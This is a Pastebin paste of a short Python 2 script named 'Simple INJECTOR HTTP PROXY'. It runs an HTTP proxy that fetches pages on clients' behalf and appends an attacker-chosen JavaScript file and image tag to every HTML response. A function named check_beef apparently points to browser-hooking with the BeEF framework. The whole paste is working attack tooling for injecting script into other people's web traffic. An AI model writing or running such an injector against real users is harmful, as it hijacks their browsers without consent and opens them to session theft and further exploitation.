Advertisement
Guest User

Untitled

a guest
Jun 22nd, 2017
70
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.64 KB | None | 0 0
  1. # coding: utf-8
  2.  
  3. TEST_JS_FILE = 'test.js'
  4.  
  5. import socket
  6.  
  7. try:
  8.     from http_parser.parser import HttpParser
  9. except ImportError:
  10.     from http_parser.pyparser import HttpParser
  11.  
  12. from requests import get
  13. from HTMLParser import HTMLParser
  14. from bs4 import BeautifulSoup, Tag
  15.  
  16. from sys import argv
  17. from optparse import OptionParser
  18.  
  19. banner = '''
  20.   ___ _____ _____   _____  ___  _    _
  21.  |_  |_   _|  __ \ /  ___|/ _ \| |  | |
  22.    | | | | | |  \/ \ `--./ /_\ \ |  | |
  23.    | | | | | | __   `--. \ _  | |/\| |
  24. /\__/ /_| |_| |_\ \ /\__/ / | | \ /\ /
  25. \____/ \___/ \____/ \____/\_| |_/\/  \/
  26.  
  27.     Simple INJECTOR HTTP PROXY
  28.                                        
  29. '''
  30.  
  31. def check_beef (r):
  32.     return "text/html" in r.headers ['content-type']
  33.  
  34. def check_args ():
  35.     if not len (argv) >= 3:
  36.         print 'Usage: %s <host> <port> [--js-script=script.js] [--image=http://example.com/image.png]' % argv [0]
  37.         exit (1)
  38.  
  39. def init_optparse ():
  40.  
  41.  
  42.     opt = OptionParser ('Usage: %s <host> <port> [--js-script=script.js] [--image=image.png]' % argv [0])
  43.     opt.add_option ("--js-script", dest="js", help="js script for injection (local file)")
  44.     opt.add_option ("--image", dest="img", help="image for injection (url)")
  45.     (opt, args) = opt.parse_args ()
  46.     return opt
  47.  
  48. def main ():
  49.    
  50.     print banner
  51.     check_args ()
  52.  
  53.     opt = init_optparse ()
  54.  
  55.     http = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
  56.     http.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  57.     http.bind ((argv [1], int(argv[2])))
  58.     http.listen (1)
  59.  
  60.     print "[*] Waiting for requests ..."
  61.     while True:
  62.         try:
  63.             connection, addr = http.accept ()
  64.             parser = HttpParser ()
  65.  
  66.             data = connection.recv (1000000000)
  67.  
  68.             if data:
  69.                 parser.execute (data, len (data))
  70.  
  71.                 HOST = parser.get_headers().items () [0][1]
  72.                 print '[' + addr [0] + ']: ' + HOST + parser.get_path ()
  73.  
  74.                 data_ans_ = get ('http://' + HOST + parser.get_path ())
  75.                 data_ans = data_ans_.text
  76.  
  77.                 bs = BeautifulSoup (data_ans, 'html.parser')
  78.                 print check_beef (data_ans_)
  79.  
  80.                 try:
  81.                    
  82.                     if check_beef (data_ans_):
  83.                         if opt.js:
  84.                             script = bs.new_tag ('script')
  85.  
  86.                             script.string = open (opt.js).read ()
  87.  
  88.                             bs.find ('body').append (script)
  89.  
  90.                         if opt.img:
  91.  
  92.                             img = bs.new_tag ('img', src=opt.img)
  93.  
  94.                             bs.find ('body').append (img)
  95.                        
  96.                     connection.send (bs.prettify ().encode ('utf-8') if check_beef(data_ans_) else data_ans)
  97.  
  98.                     connection.close ()
  99.  
  100.                 except Exception as t:
  101.                     print 'FUCK', t
  102.                     print HOST
  103.                
  104.                
  105.                
  106.                
  107.  
  108.         except Exception as e:
  109.             print e
  110.         except KeyboardInterrupt:
  111.             exit (0)
  112.  
  113. if __name__ == '__main__':
  114.     main ()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement